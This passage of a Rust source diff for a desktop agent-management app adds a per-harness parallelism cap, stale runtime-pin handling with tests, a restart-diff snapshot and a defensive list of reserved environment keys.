parallelism for the OpenClaw harness. +/// +/// Each buzz-acp worker spawned by the Desktop is a client of the single +/// shared OpenClaw Gateway daemon — running more than this number of workers +/// is both resource-expensive and architecturally wrong per the OpenClaw +/// design. Tyler's ruling: "try 5 and lower if needed." +pub const OPENCLAW_MAX_PARALLELISM: u32 = 5; + +/// Return the maximum allowed parallelism for the given harness command, or +/// `None` when the harness has no cap. +/// +/// Keyed on [`super::discovery::normalize_command_identity`] so path prefixes, +/// the `.exe` suffix on Windows, and other cosmetic differences are ignored. +pub fn harness_max_parallelism(command: &str) -> Option { + match super::discovery::normalize_command_identity(command).as_str() { + "openclaw" => Some(OPENCLAW_MAX_PARALLELISM), + _ => None, + } +} + +/// Return the effective parallelism for the given harness command and +/// requested value: `min(value, harness_max_parallelism(command))`. +/// +/// For harnesses without a cap this is the identity function. +pub fn effective_parallelism(command: &str, value: u32) -> u32 { + match harness_max_parallelism(command) { + Some(cap) => value.min(cap), + None => value, + } +} + +/// Return the value to emit as `BUZZ_ACP_AGENTS` for a spawn command. +/// +/// Pure helper extracted from `spawn_agent_child` so both the production path +/// and tests can call it without spawning a process. The result is +/// `effective_parallelism(effective_command, record_parallelism)` formatted as +/// a decimal string ready for `command.env("BUZZ_ACP_AGENTS", …)`. +/// +/// `effective_command` must be the already-resolved harness command (override → +/// runtime → persona runtime → default). +pub fn acp_agents_value(effective_command: &str, record_parallelism: u32) -> String { + effective_parallelism(effective_command, record_parallelism).to_string() +} + +#[cfg(test)] +mod tests { + use crate::managed_agents::types::ManagedAgentRecord; + + fn record_with(runtime: Option<&str>, parallelism: u32) -> ManagedAgentRecord { + ManagedAgentRecord { + pubkey: String::new(), + name: "r".to_string(), + persona_id: None, + private_key_nsec: String::new(), + auth_tag: None, + relay_url: String::new(), + avatar_url: None, + acp_command: String::new(), + agent_command: String::new(), + agent_command_override: None, + agent_args: vec![], + mcp_command: String::new(), + turn_timeout_seconds: 0, + idle_timeout_seconds: None, + max_turn_duration_seconds: None, + parallelism, + system_prompt: None, + model: None, + provider: None, + persona_source_version: None, + start_on_app_launch: false, + auto_restart_on_config_change: true, + runtime_pid: None, + backend: Default::default(), + backend_agent_id: None, + provider_binary_path: None, + team_id: None, + persona_team_dir: None, + persona_name_in_team: None, + env_vars: std::collections::BTreeMap::new(), + created_at: String::new(), + updated_at: String::new(), + last_started_at: None, + last_stopped_at: None, + last_exit_code: None, + last_error: None, + last_error_code: None, + respond_to: Default::default(), + respond_to_allowlist: vec![], + display_name: None, + slug: None, + runtime: runtime.map(str::to_string), + name_pool: Vec::new(), + is_builtin: false, + is_active: true, + shared: false, + source_team: None, + source_team_persona_slug: None, + catalog_source: None, + definition_respond_to: None, + definition_respond_to_allowlist: Vec::new(), + definition_parallelism: None, + relay_mesh: None, + } + } + + fn persona_def( + id: &str, + runtime: Option<&str>, + ) -> crate::managed_agents::types::AgentDefinition { + use crate::managed_agents::types::AgentDefinition; + AgentDefinition { + id: id.to_string(), + display_name: String::new(), + avatar_url: None, + system_prompt: String::new(), + runtime: runtime.map(str::to_string), + model: None, + provider: None, + name_pool: vec![], + is_builtin: false, + is_active: true, + shared: false, + source_team: None, + source_team_persona_slug: None, + catalog_source: None, + env_vars: std::collections::BTreeMap::new(), + respond_to: None, + respond_to_allowlist: vec![], + parallelism: None, + created_at: String::new(), + updated_at: String::new(), + } + } + + // ── Policy table: harness_max_parallelism / effective_parallelism ───────── + + #[test] + fn policy_table() { + let cap = super::OPENCLAW_MAX_PARALLELISM; + + // harness_max_parallelism: openclaw variants → Some(cap); others → None. + assert_eq!(super::harness_max_parallelism("openclaw"), Some(cap)); + assert_eq!( + super::harness_max_parallelism("/usr/local/bin/openclaw"), + Some(cap) + ); + assert_eq!(super::harness_max_parallelism("openclaw.exe"), Some(cap)); + assert_eq!( + super::harness_max_parallelism(r"C:\Tools\openclaw.exe"), + Some(cap) + ); + assert_eq!(super::harness_max_parallelism("goose"), None); + assert_eq!(super::harness_max_parallelism("buzz-agent"), None); + assert_eq!(super::harness_max_parallelism(""), None); + + // effective_parallelism: openclaw clamps above cap, honors at/below; goose passes through. + assert_eq!(super::effective_parallelism("openclaw", cap + 5), cap); + assert_eq!(super::effective_parallelism("openclaw", cap), cap); + assert_eq!(super::effective_parallelism("openclaw", cap - 2), cap - 2); + assert_eq!(super::effective_parallelism("goose", 99), 99); + assert_eq!(super::effective_parallelism("buzz-agent", 32), 32); + } + + // ── acp_agents_value: spawn-env seam ────────────────────────────────────── + // + // Drives the pure helper extracted from spawn_agent_child. + // Deleting or changing it breaks this test AND the production spawn env. + + /// Legacy OpenClaw record (parallelism 10, above cap): BUZZ_ACP_AGENTS must be "5". + #[test] + fn acp_agents_value_openclaw_above_cap_is_capped() { + assert_eq!( + super::acp_agents_value("openclaw", 10), + "5", + "BUZZ_ACP_AGENTS for openclaw with parallelism 10 must be \"5\"" + ); + assert_eq!(super::acp_agents_value("goose", 10), "10"); + } + + // ── Override-direction: summary seam agreement ──────────────────────────── + // + // Tests effective_parallelism and record_agent_command agreement for both + // override directions. Removing either direction loses the seam test for + // that cap/uncap path through the summary resolver. + + /// OpenClaw runtime + Goose override: summary resolves goose → uncapped (10). + #[test] + fn override_direction_openclaw_runtime_goose_override_is_uncapped() { + let mut record = record_with(Some("openclaw"), 10); + record.agent_command_override = Some("goose".to_string()); + let cmd = crate::managed_agents::record_agent_command(&record, &[]); + assert_eq!(cmd, "goose"); + assert_eq!(super::effective_parallelism(&cmd, record.parallelism), 10); + } + + /// Goose runtime + OpenClaw override: summary resolves openclaw → capped (5). + #[test] + fn override_direction_goose_runtime_openclaw_override_is_capped() { + let mut record = record_with(Some("goose"), 10); + record.agent_command_override = Some("openclaw".to_string()); + let cmd = crate::managed_agents::record_agent_command(&record, &[]); + assert_eq!(cmd, "openclaw"); + assert_eq!( + super::effective_parallelism(&cmd, record.parallelism), + super::OPENCLAW_MAX_PARALLELISM + ); + } + + // ── Summary: persona-inherited runtime (runtime=None) ───────────────────── + // + // Covers the case where runtime was cleared by an "inherit from persona" + // update: summary must resolve via the LIVE persona, not stale agent_command. + + /// Stale agent_command="openclaw", live persona=goose → summary resolves goose → uncapped. + #[test] + fn summary_persona_inherited_stale_openclaw_live_goose_is_uncapped() { + let persona = persona_def("p-goose", Some("goose")); + let mut record = record_with(None, 10); + record.persona_id = Some("p-goose".to_string()); + record.agent_command = "openclaw".to_string(); + let cmd = + crate::managed_agents::record_agent_command(&record, std::slice::from_ref(&persona)); + assert_eq!( + cmd, "goose", + "live persona must win over stale agent_command" + ); + assert_eq!(super::effective_parallelism(&cmd, record.parallelism), 10); + } + + /// Stale agent_command="goose", live persona=openclaw → summary resolves openclaw → capped. + #[test] + fn summary_persona_inherited_stale_goose_live_openclaw_is_capped() { + let persona = persona_def("p-openclaw", Some("openclaw")); + let mut record = record_with(None, 10); + record.persona_id = Some("p-openclaw".to_string()); + record.agent_command = "goose".to_string(); + let cmd = + crate::managed_agents::record_agent_command(&record, std::slice::from_ref(&persona)); + assert_eq!( + cmd, "openclaw", + "live persona must win over stale agent_command" + ); + assert_eq!( + super::effective_parallelism(&cmd, record.parallelism), + super::OPENCLAW_MAX_PARALLELISM + ); + } + + // ── Snapshot export: requested-definition / effective-instance contract ─── + + fn snapshot_record( + runtime: Option<&str>, + parallelism: u32, + definition_parallelism: Option, + ) -> ManagedAgentRecord { + use crate::managed_agents::types::{BackendKind, RespondTo}; + use std::collections::BTreeMap; + let mut r = record_with(runtime, parallelism); + r.name = "snap-test".to_string(); + r.definition_parallelism = definition_parallelism; + r.backend = BackendKind::Local; + r.respond_to = RespondTo::OwnerOnly; + r.env_vars = BTreeMap::new(); + r + } + + /// Snapshot export carries the requested definition parallelism verbatim. + #[test] + fn snapshot_export_carries_requested_definition_parallelism() { + use crate::managed_agents::agent_snapshot::{build_snapshot, MemoryLevel}; + // definition_parallelism=Some(10) stored → exported as 10 unchanged. + let snap = build_snapshot( + &snapshot_record(Some("openclaw"), 10, Some(10)), + MemoryLevel::None, + vec![], + None, + ); + assert_eq!(snap.definition.parallelism, Some(10)); + // No definition_parallelism stored → falls back to record.parallelism. + let snap2 = build_snapshot( + &snapshot_record(Some("openclaw"), 10, None), + MemoryLevel::None, + vec![], + None, + ); + assert_eq!(snap2.definition.parallelism, Some(10)); + } +} diff --git a/desktop/src-tauri/src/managed_agents/persona_events.rs b/desktop/src-tauri/src/managed_agents/persona_events.rs index 6afc18a501..de396f45c0 100644 --- a/desktop/src-tauri/src/managed_agents/persona_events.rs +++ b/desktop/src-tauri/src/managed_agents/persona_events.rs @@ -450,12 +450,12 @@ pub fn persona_snapshot(persona: &AgentDefinition) -> PersonaSnapshot { /// This is the single apply used by every snapshot-apply site: the spawn /// re-pin (`start_local_agent_with_preflight`), the launch backfill and /// restore re-snapshot (`restore.rs`), and the prospective re-snapshot inside -/// `spawn_config_hash` — so a future `PersonaSnapshot` field addition -/// propagates to all of them at once. +/// `prospective_spawn_config_snapshot` — so a future `PersonaSnapshot` field +/// addition propagates to all of them at once. /// /// Deliberately does NOT touch `updated_at`: persistence stamps are the -/// caller's concern, and `spawn_config_hash` (which applies this to a clone) -/// must stay pure. +/// caller's concern, and the prospective snapshot (which applies this to a +/// clone) must stay pure. pub fn apply_persona_snapshot(record: &mut ManagedAgentRecord, persona: &AgentDefinition) { let snapshot = persona_snapshot(persona); if let Some(prompt) = snapshot.system_prompt { @@ -464,23 +464,42 @@ pub fn apply_persona_snapshot(record: &mut ManagedAgentRecord, persona: &AgentDe record.model = snapshot.model; record.provider = snapshot.provider; record.runtime = snapshot.runtime; - // Drop a stale create-time harness pin when the definition names a - // different known runtime; custom commands stay pinned. - if let Some(def_runtime) = persona + // Drop a stale create-time harness pin when the definition switches to a + // different known runtime (builtin, static preset, or loaded custom). A pin + // that names an unknown/custom command is always kept. + // + // Both sides are resolved through the canonical harness-identity resolver + // (`canonical_harness_command`) which accepts either a runtime id OR a + // command string — covering aliases (e.g. "claude-code-acp"), path prefixes + // ("/usr/local/bin/goose"), and harnesses whose id ≠ command. The persona + // runtime side is resolved via `command_for_runtime_id` (id-only input is + // sufficient there since persona.runtime is always an authoritative id). + // + // Comparison is on canonical primary commands so "goose", "/usr/local/bin/goose", + // and runtime id "goose" all represent the same harness; the stale pin is + // dropped only when the canonical commands differ. + if let Some(new_cmd) = persona .runtime .as_deref() .map(str::trim) .filter(|r| !r.is_empty()) - .and_then(crate::managed_agents::known_acp_runtime_exact) + .and_then(super::command_for_runtime_id) { - if let Some(pin_runtime) = record + if let Some(pin) = record .agent_command_override .as_deref() - .and_then(crate::managed_agents::known_acp_runtime) + .map(str::trim) + .filter(|v| !v.is_empty()) { - if !std::ptr::eq(pin_runtime, def_runtime) { - record.agent_command_override = None; + // Resolve the pin via the canonical resolver (accepts id OR command). + if let Some(pin_cmd) = super::canonical_harness_command(pin) { + if pin_cmd != new_cmd { + // Known harness switched to a different known harness — drop stale pin. + record.agent_command_override = None; + } + // Same harness: keep the pin (e.g. explicit path override for same runtime). } + // Custom/unknown pin: always keep. } } // env_vars stay overrides-only. Self-heal records written before the env @@ -498,8 +517,9 @@ pub fn apply_persona_snapshot(record: &mut ManagedAgentRecord, persona: &AgentDe /// paths re-pin it to its linked persona, without mutating `record` itself. /// /// Every decision made ahead of the real re-pin — the relay-mesh preflight in -/// `start_local_agent_with_preflight`, the restart-badge hash in -/// `spawn_config_hash` — needs to reason about spawn-time state, not +/// `start_local_agent_with_preflight`, the restart-badge snapshot in +/// `prospective_spawn_config_snapshot` — needs to reason about spawn-time +/// state, not /// pre-snapshot bytes, so a persona edit that flips a field (e.g. `provider` /// to/from relay-mesh) between saves is reflected in the decision instead of /// the stale value the real [`apply_persona_snapshot`] is about to overwrite @@ -507,7 +527,7 @@ pub fn apply_persona_snapshot(record: &mut ManagedAgentRecord, persona: &AgentDe /// so the spawn-time stamp and later recomputes agree when nothing changed. /// /// Orphaned records (persona deleted) pass through unchanged: the caller's -/// own orphan handling — refusing to spawn, hashing as `(None, None, None)` +/// own orphan handling — refusing to spawn, snapshotting as `(None, None, None)` /// — runs on the real record downstream, not on this preview. pub fn preview_prospective_persona_snapshot( record: &ManagedAgentRecord, @@ -522,4 +542,6 @@ pub fn preview_prospective_persona_snapshot( preview } #[cfg(test)] +mod stale_pin_tests; +#[cfg(test)] mod tests; diff --git a/desktop/src-tauri/src/managed_agents/persona_events/stale_pin_tests.rs b/desktop/src-tauri/src/managed_agents/persona_events/stale_pin_tests.rs new file mode 100644 index 0000000000..2bd7ba3d1c --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/persona_events/stale_pin_tests.rs @@ -0,0 +1,151 @@ +//! Stale-pin drop tests for `apply_persona_snapshot`. +//! +//! Covers the `canonical_harness_command` resolver used to classify a +//! create-time `agent_command_override` before deciding whether it should be +//! dropped when the persona switches to a different harness. + +use super::tests::{sample_persona, sample_record}; +use crate::managed_agents::persona_events::apply_persona_snapshot; +use crate::managed_agents::types::AgentDefinition; + +// ── Stale-pin drop: OpenClaw↔Goose (preset↔builtin) ───────────────────────── + +/// Persona→OpenClaw: stale Goose override dropped. +/// Regression for the original preset stale-pin fix. +#[test] +fn apply_persona_snapshot_goose_to_openclaw_drops_stale_goose_pin() { + let mut record = sample_record(); + record.agent_command_override = Some("goose".to_string()); + apply_persona_snapshot( + &mut record, + &AgentDefinition { + runtime: Some("openclaw".to_string()), + ..sample_persona() + }, + ); + assert_eq!( + record.agent_command_override, None, + "stale goose pin must be dropped when persona switches to openclaw" + ); +} + +/// Persona→Goose: stale OpenClaw override dropped. +#[test] +fn apply_persona_snapshot_openclaw_to_goose_drops_stale_openclaw_pin() { + let mut record = sample_record(); + record.agent_command_override = Some("openclaw".to_string()); + apply_persona_snapshot( + &mut record, + &AgentDefinition { + runtime: Some("goose".to_string()), + ..sample_persona() + }, + ); + assert_eq!( + record.agent_command_override, None, + "stale openclaw pin must be dropped when persona switches to goose" + ); +} + +// ── Stale-pin drop: alias pin (command ≠ id) ───────────────────────────────── + +/// Persona→OpenClaw; record has a stale `claude-code-acp` alias pin (id="claude", +/// command="claude-agent-acp"). The canonical resolver must recognise the alias +/// as the Claude harness and drop it when the persona switches to a different +/// harness (OpenClaw). +/// +/// This is the correctness case that motivated the `canonical_harness_command` +/// resolver: the old pointer-comparison code treated the alias as a +/// custom/unknown pin and kept it — the agent kept running Claude instead of +/// OpenClaw. +#[test] +fn apply_persona_snapshot_claude_alias_pin_to_openclaw_drops_stale_alias() { + let mut record = sample_record(); + // "claude-code-acp" is an alias of the Claude runtime (id="claude"). + record.agent_command_override = Some("claude-code-acp".to_string()); + apply_persona_snapshot( + &mut record, + &AgentDefinition { + runtime: Some("openclaw".to_string()), + ..sample_persona() + }, + ); + assert_eq!( + record.agent_command_override, None, + "stale claude-code-acp alias pin must be dropped when persona switches to openclaw" + ); +} + +// ── Stale-pin keep: same harness, path/alias override ─────────────────────── + +/// Same-harness case: record has an explicit path override pointing at the same +/// harness as the new persona runtime. The pin must NOT be dropped — it is a +/// deliberate per-instance configuration (e.g. a specific goose binary path). +#[test] +fn apply_persona_snapshot_same_harness_path_pin_is_kept() { + let mut record = sample_record(); + // Explicit path override for goose — same harness as the persona runtime. + record.agent_command_override = Some("/usr/local/bin/goose".to_string()); + apply_persona_snapshot( + &mut record, + &AgentDefinition { + runtime: Some("goose".to_string()), + ..sample_persona() + }, + ); + assert_eq!( + record.agent_command_override.as_deref(), + Some("/usr/local/bin/goose"), + "same-harness path override must NOT be dropped" + ); +} + +// ── Stale-pin drop: builtin pin → loaded custom harness (tier-1→tier-3) ────── + +/// Persona→CustomHarness: stale Goose override dropped. +/// +/// This is the custom-direction regression: before `canonical_harness_command` +/// the destination lookup (`known_acp_runtime_exact`) only saw the four +/// tier-1 builtins, so a switch to a loaded custom harness left any stale +/// builtin pin authoritative. +/// +/// Tier-3 (loaded custom harness) is reached via `lookup_loaded_harness_by_id`, +/// which reads the in-process registry — so we must populate it via +/// `update_loaded_harness_registry` under `registry_test_lock()`. +#[test] +fn apply_persona_snapshot_goose_to_custom_harness_drops_stale_goose_pin() { + use crate::managed_agents::custom_harnesses::{ + registry_test_lock, update_loaded_harness_registry, HarnessDefinition, + }; + use std::collections::BTreeMap; + + let _lock = registry_test_lock(); + + // Register a custom harness definition so the resolver finds it at tier 3. + update_loaded_harness_registry(vec![HarnessDefinition { + id: "my-custom-harness".to_string(), + label: "My Custom Harness".to_string(), + command: "my-custom-bin".to_string(), + args: vec![], + env: BTreeMap::new(), + install_instructions_url: String::new(), + install_hint: String::new(), + }]); + + let mut record = sample_record(); + record.agent_command_override = Some("goose".to_string()); + apply_persona_snapshot( + &mut record, + &AgentDefinition { + runtime: Some("my-custom-harness".to_string()), + ..sample_persona() + }, + ); + assert_eq!( + record.agent_command_override, None, + "stale goose pin must be dropped when persona switches to a loaded custom harness" + ); + + // Clean up the registry so parallel tests start from a known state. + update_loaded_harness_registry(vec![]); +} diff --git a/desktop/src-tauri/src/managed_agents/persona_events/tests.rs b/desktop/src-tauri/src/managed_agents/persona_events/tests.rs index b9542f9a87..0580b12ce2 100644 --- a/desktop/src-tauri/src/managed_agents/persona_events/tests.rs +++ b/desktop/src-tauri/src/managed_agents/persona_events/tests.rs @@ -3,7 +3,7 @@ use crate::managed_agents::{BackendKind, ManagedAgentRecord, RespondTo}; /// A linked instance record with no persona-derived fields set yet — the /// state right after creation, before any snapshot apply. -fn sample_record() -> ManagedAgentRecord { +pub(super) fn sample_record() -> ManagedAgentRecord { ManagedAgentRecord { pubkey: "p".repeat(64), name: "agent".into(), @@ -139,7 +139,7 @@ fn preview_passes_through_unchanged_when_persona_missing() { assert_eq!(preview.persona_id.as_deref(), Some("deleted-persona")); } -fn sample_persona() -> AgentDefinition { +pub(super) fn sample_persona() -> AgentDefinition { AgentDefinition { id: "test-persona".to_string(), display_name: "Test Persona".to_string(), diff --git a/desktop/src-tauri/src/managed_agents/process_lifecycle.rs b/desktop/src-tauri/src/managed_agents/process_lifecycle.rs index 8dddf9f715..479d6ec913 100644 --- a/desktop/src-tauri/src/managed_agents/process_lifecycle.rs +++ b/desktop/src-tauri/src/managed_agents/process_lifecycle.rs @@ -133,7 +133,7 @@ pub fn taskkill_tree(pid: u32) -> Result<(), String> { pub fn finish_spawn( child: std::process::Child, log_path: std::path::PathBuf, - spawn_config_hash: u64, + spawn_config: super::spawn_snapshot::SpawnConfigSnapshot, setup_mode: bool, adapter_availability: Option, start_nonce: String, @@ -149,7 +149,7 @@ pub fn finish_spawn( super::ManagedAgentProcess { child, log_path, - spawn_config_hash, + spawn_config, setup_mode, adapter_availability, start_nonce, diff --git a/desktop/src-tauri/src/managed_agents/readiness.rs b/desktop/src-tauri/src/managed_agents/readiness.rs index fa8eb36fa1..c072448ff1 100644 --- a/desktop/src-tauri/src/managed_agents/readiness.rs +++ b/desktop/src-tauri/src/managed_agents/readiness.rs @@ -82,7 +82,7 @@ pub(crate) struct EffectiveAgentEnv { // // A single owned type that fully describes what a spawn would run. Produced // by `resolve_effective_harness_descriptor` and consumed by spawn_agent_child, -// spawn_config_hash, build_managed_agent_summary, get_agent_models, and +// spawn_snapshot, build_managed_agent_summary, get_agent_models, and // agent_readiness — so the harness-definition lookup and arg/env resolution // happen exactly once, in one place. @@ -1051,19 +1051,16 @@ mod tests { thinking_env_var: None, max_tokens_env_var: None, context_limit_env_var: None, + max_rounds_env_var: None, required_normalized_fields: &[], login_hint: None, auth_probe_args: None, } } - /// Returns the absolute path of the currently-running test binary as a - /// `&'static str`. Host-portable stand-in for a "present" binary: - /// the path is absolute so `find_command` resolves it via `path.exists()` - /// rather than searching `PATH`, and the file always exists on the host. - /// - /// The tiny allocation is intentionally leaked — this runs at most once per - /// test process and the process exits immediately after tests complete. + /// Returns the absolute path of the currently-running test binary as a `&'static str`. + /// Host-portable stand-in for a "present" binary: absolute path so `find_command` resolves + /// it via `path.exists()`. Leaked allocation is intentional — process exits after tests. fn present_binary_str() -> &'static str { let path = std::env::current_exe().expect("current_exe must be available in tests"); Box::leak(path.to_string_lossy().into_owned().into_boxed_str()) @@ -1246,6 +1243,7 @@ mod tests { thinking_env_var: None, max_tokens_env_var: None, context_limit_env_var: None, + max_rounds_env_var: None, required_normalized_fields: &[], login_hint: None, auth_probe_args: None, diff --git a/desktop/src-tauri/src/managed_agents/reserved_env_keys.rs b/desktop/src-tauri/src/managed_agents/reserved_env_keys.rs new file mode 100644 index 0000000000..8698d3a51d --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/reserved_env_keys.rs @@ -0,0 +1,79 @@ +// Canonical reserved-env-key list, `include!`d into BOTH `build.rs` +// (compile-time rejection of baked `BUZZ_BUILD_AGENT_ENV` collisions) and +// `managed_agents/env_vars.rs` (save-time validation and spawn-time +// filtering). Build scripts cannot import from the crate, so sharing the +// source via `include!` is what guarantees the build-time check and the +// runtime filter use one identical list — zero drift surface. See +// `commands/reconnect_hook_config.rs` for the same pattern. +// +// Keep this file dependency-free: no crate-internal imports, no external +// crates. Both consumers compile it as-is. + +/// Env var keys that Buzz sets itself and users must not override from +/// the persona/agent env_vars UI. Three categories: +/// +/// 1. **Identity / secrets** — overriding would swap the agent's nsec or +/// leak credentials. +/// 2. **Code-execution surface** — overriding the binary/args lets the +/// user run arbitrary code as the agent process. +/// 3. **Security gates** — overriding the respond-to mode/allowlist or +/// relay URL would silently break the saved security settings (the UI +/// shows owner-only while the running agent answers anyone, for +/// example), or redirect the agent to an attacker-controlled relay. +/// +/// This list is deliberately narrow — it only covers keys with security +/// implications. Behavior knobs (GOOSE_MODE, BUZZ_ACP_MODEL, BUZZ_ACP_SYSTEM_PROMPT, …) remain freely +/// overridable; those have dedicated UI fields but power users may want +/// to bypass them. +pub(crate) const RESERVED_ENV_KEYS: &[&str] = &[ + // Identity / secrets. + "BUZZ_PRIVATE_KEY", + "NOSTR_PRIVATE_KEY", + "BUZZ_AUTH_TAG", + "BUZZ_API_TOKEN", + "BUZZ_ACP_PRIVATE_KEY", + "BUZZ_ACP_API_TOKEN", + // Relay URL: overriding would let a malicious config redirect the + // agent to an attacker-controlled relay. + "BUZZ_RELAY_URL", + // Code-execution surface: overriding would let the user run arbitrary + // binaries/args as the agent process. + "BUZZ_ACP_AGENT_COMMAND", + "BUZZ_ACP_AGENT_ARGS", + "BUZZ_ACP_MCP_COMMAND", + // Control-plane parallelism: the Desktop resolves the effective + // worker-pool size (applying any per-harness cap) and writes it into + // launch.policy_env. A user-supplied BUZZ_ACP_AGENTS would bypass the + // harness cap and cause OpenClaw agents to spawn uncapped workers. + "BUZZ_ACP_AGENTS", + // Security gates: respond-to mode + allowlist + deployment allowlist + + // legacy owner-only fallback. Overriding would make the running agent's + // gate diverge from the saved/UI-visible settings. + "BUZZ_ACP_RESPOND_TO", + "BUZZ_ACP_RESPOND_TO_ALLOWLIST", + "BUZZ_ACP_ALLOWED_RESPOND_TO", + "BUZZ_ACP_AGENT_OWNER", + // Stable agent identity used for git attribution and private-conversation + // provenance must come from the managed-agent record, not user overrides. + "BUZZ_ACP_DISPLAY_NAME", + // Remote lifetime/presence policy: user env must not disable the + // desktop/provider-owned bounds while the saved record still promises them. + "BUZZ_ACP_EXIT_AFTER_INACTIVITY", + "BUZZ_ACP_NO_PRESENCE", + // Readiness handoff: desktop is the ONLY readiness source. A saved or + // ambient env var must not be able to forge setup mode (NotReady) on a + // Ready agent or suppress it (empty/stale payload) on a NotReady one. + "BUZZ_ACP_SETUP_PAYLOAD", + // Desktop ownership markers: these brand every spawned harness with the + // launching Desktop instance. A user-supplied override would let a + // definition masquerade as a different instance or fake the nonce used + // for same-session sweep decisions. + "BUZZ_MANAGED_AGENT", + "BUZZ_MANAGED_AGENT_START_NONCE", +]; + +pub(crate) fn is_reserved_env_key(key: &str) -> bool { + RESERVED_ENV_KEYS + .iter() + .any(|reserved| reserved.eq_ignore_ascii_case(key)) +} diff --git a/desktop/src-tauri/src/managed_agents/restore.rs b/desktop/src-tauri/src/managed_agents/restore.rs index 1910620159..25dadbeec6 100644 --- a/desktop/src-tauri/src/managed_agents/restore.rs +++ b/desktop/src-tauri/src/managed_agents/restore.rs @@ -18,7 +18,9 @@ use tauri::Manager; /// restore would kill reconcile's lazy child by its receipt and replace it with /// an eager one, flipping the pair's laziness on a startup race. enum SpawnOutcome { - Spawned(super::ManagedAgentRuntimeKey, ManagedAgentProcess), + /// Boxed: the spawned process carries its full spawn-config snapshot, so an + /// inline variant would make every `Skipped`/`Failed` outcome pay for it. + Spawned(super::ManagedAgentRuntimeKey, Box), Skipped, Failed(String), } @@ -338,7 +340,9 @@ pub async fn restore_managed_agents_on_launch( owner_hex_ref, ) }) { - Ok(process) => SpawnOutcome::Spawned(key, process), + Ok(process) => { + SpawnOutcome::Spawned(key, Box::new(process)) + } Err(error) => SpawnOutcome::Failed(error), } } @@ -400,7 +404,7 @@ pub async fn restore_managed_agents_on_launch( record.last_stopped_at = None; record.last_exit_code = None; record.last_error = None; - runtimes.insert(key, super::ManagedAgentPairRuntime::starting(process)); + runtimes.insert(key, super::ManagedAgentPairRuntime::starting(*process)); successfully_spawned.push(pubkey); } SpawnOutcome::Failed(error) => { diff --git a/desktop/src-tauri/src/managed_agents/runtime.rs b/desktop/src-tauri/src/managed_agents/runtime.rs index 37927961ed..ec804869c4 100644 --- a/desktop/src-tauri/src/managed_agents/runtime.rs +++ b/desktop/src-tauri/src/managed_agents/runtime.rs @@ -16,14 +16,14 @@ use crate::{ mod path; pub(in crate::managed_agents) use path::build_augmented_path; -pub(crate) use path::compose_path_entries; -pub(crate) use path::should_skip_claude_executable; -pub(crate) use path::should_use_inherited; +pub(crate) use path::{compose_path_entries, should_skip_claude_executable, should_use_inherited}; + +pub(crate) use super::access_policy::{build_respond_to_env_with_policy, RespondToEnv}; mod metadata; pub(crate) use metadata::{ - resolve_effective_prompt_model_provider, resolve_session_title, runtime_metadata_env_vars, - SESSION_TITLE_ENV_VAR, + apply_agent_display_env, resolve_session_title, runtime_metadata_env_vars, + DISPLAY_NAME_ENV_VAR, SESSION_TITLE_ENV_VAR, }; mod stop; @@ -33,8 +33,6 @@ pub use stop::{stop_managed_agent_process, stop_managed_agent_workspace_pair}; mod sweep; pub(crate) use sweep::sweep_untracked_bundle_harnesses; -type RespondToEnv = (Vec<(&'static str, String)>, Vec<&'static str>); - mod process; #[cfg(test)] use process::{ @@ -226,49 +224,50 @@ pub fn build_managed_agent_summary( } }; - // Restart badge: the running process stamped its effective spawn config - // at launch; recompute from current disk state and flag drift. Only the - // tracked live pair for THIS workspace can drift — stopped agents spawn - // fresh, adopted (runtime_pid-only) processes have no stamped hash to - // compare, and pairs running for other communities are judged in their - // own community (hashing them against this workspace's relay would flag - // a spurious restart on every community switch). + // Restart badge: the running process stamped the effective spawn config + // it was launched with; recompute a prospective one from current disk + // state and report every differing field. Only the tracked live pair for + // THIS workspace can drift — stopped agents spawn fresh, adopted + // (runtime_pid-only) processes have no stamp to compare, and pairs running + // for other communities are judged in their own community (comparing them + // against this workspace's relay would flag a spurious restart on every + // community switch). // - // Additionally, for runtimes with an adapter version gate (codex only), - // check whether the cached adapter availability has drifted from the value - // stamped at spawn. This catches out-of-band adapter changes (manual - // npm install/downgrade) that Phase-1 auto-restart doesn't cover. The - // cache is read-only here — no subprocess is spawned. + // Adapter-availability drift (codex only) contributes its own synthetic + // entry, so an out-of-band adapter change (manual npm install/downgrade) + // that Phase-1 auto-restart doesn't cover still shows the user what moved. + // The cache is read-only here — no subprocess is spawned. // - // Global config drives both the restart-drift hash and descriptor env - // layering below — the caller loads it once and passes it in, so + // Global config drives both the prospective snapshot and the descriptor + // env layering below — the caller loads it once and passes it in, so // list-style callers pay one disk read per call rather than one per record. - let needs_restart = pair_key - .as_ref() - .and_then(|key| runtimes.get(key).map(|runtime| (key, runtime))) - .is_some_and(|(key, runtime)| { - let teams_for_hash = crate::managed_agents::load_teams(app).unwrap_or_default(); - let hash_drift = runtime.spawn_config_hash - != crate::managed_agents::spawn_hash::spawn_config_hash( - record, - personas, - &teams_for_hash, - &key.relay_url, - global_config, - ); - let availability_drift = super::availability_drift( - runtime.adapter_availability.as_ref(), - super::adapter_availability_cached(), - ); - // An orphan can never be restarted successfully — - // `spawn_agent_child` refuses it before any process side effect — - // so `needs_restart` must never fire for one regardless of hash or - // availability drift. Surfacing "Restart required" here would offer - // an action guaranteed to fail; the UI shows `persona_orphaned` - // instead (see `ManagedAgentSummary::persona_orphaned`). - restart_eligible(persona_orphaned, hash_drift, availability_drift) - }); + // The prospective side is computed only for a tracked pair: it costs a + // teams-store read, and an unstamped agent has nothing to compare against. + let tracked_spawn = pair_key.as_ref().zip(pair_runtime).map(|(key, runtime)| { + let teams = crate::managed_agents::load_teams(app).unwrap_or_default(); + let current = crate::managed_agents::spawn_snapshot::prospective_spawn_config_snapshot( + record, + personas, + &teams, + &key.relay_url, + global_config, + ); + (runtime, current) + }); + let restart_diff = crate::managed_agents::spawn_snapshot::eligible_restart_diff( + persona_orphaned, + tracked_spawn.as_ref().map(|(runtime, current)| { + crate::managed_agents::spawn_snapshot::TrackedSpawnState { + stamped: &runtime.spawn_config, + current, + stamped_availability: runtime.adapter_availability.as_ref(), + current_availability: super::adapter_availability_cached(), + } + }), + ); + // One vector is the whole truth: badge on ⟺ there is a diff to show. + let needs_restart = !restart_diff.is_empty(); // Resolve the effective harness via the single typed descriptor — same resolver // as spawn, so the UI reflects the persona's current harness (or explicit pin). @@ -321,6 +320,7 @@ pub fn build_managed_agent_summary( persona_out_of_date, persona_orphaned, needs_restart, + restart_diff, env_vars: record.env_vars.clone(), backend: record.backend.clone(), backend_agent_id: record.backend_agent_id.clone(), @@ 